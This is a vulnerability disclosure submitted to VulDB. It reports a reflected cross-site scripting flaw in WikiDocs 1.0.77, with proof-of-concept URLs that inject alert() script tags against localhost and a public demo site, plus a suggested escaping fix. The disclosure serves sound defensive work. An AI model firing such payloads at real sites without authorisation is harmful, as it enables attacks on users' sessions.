Submeter #609063: Zavy86 WikiDocs 1.0.77 Cross Site Scripting

Hi,

I'm a security researcher building my CVE portfolio. I found a reflected XSS on the WikiDocs home page.

WikiDocs fails to HTML-escape the path portion of inbound requests before echoing it back into the home page.
An attacker can craft a link that, when visited, executes arbitrary JavaScript in the context of the victim's session (reflected XSS).

Proof of concept

http://127.0.0.1/"><script>alert(42)</script>
http://127.0.0.1/%22%3E%3Cscript%3Ealert(1)%3C/script%3E

Path input should be HTML-escaped (e.g., htmlspecialchars($path, ENT_QUOTES, 'UTF-8')) so injected markup cannot run.

Application Setup:

docker run -d -p 80:80 zavy86/wikidocs

# public demo
https://demo.wikidocs.app/%22%3E%3Cscript%3Ealert(1)%3C/script%3E
https://demo.wikidocs.app/%22%3E%3Cscript%3Ealert(1)%3C/script%3E

References:
https://github.com/Zavy86/WikiDocs/issues/256

Credits
Discovered by Matan Sandori

• Utilizador: MatanS (UID 86894)
• Submissão: 04/07/2025 08h46 (há 12 meses)
• Moderação: 19/07/2025 10h15 (15 days later)
• Estado: Aceite
• Entrada VulDB: 317002 [Zavy86 WikiDocs até 1.0.78 template.inc.php path Script de Site Cruzado]
• Pontos: 17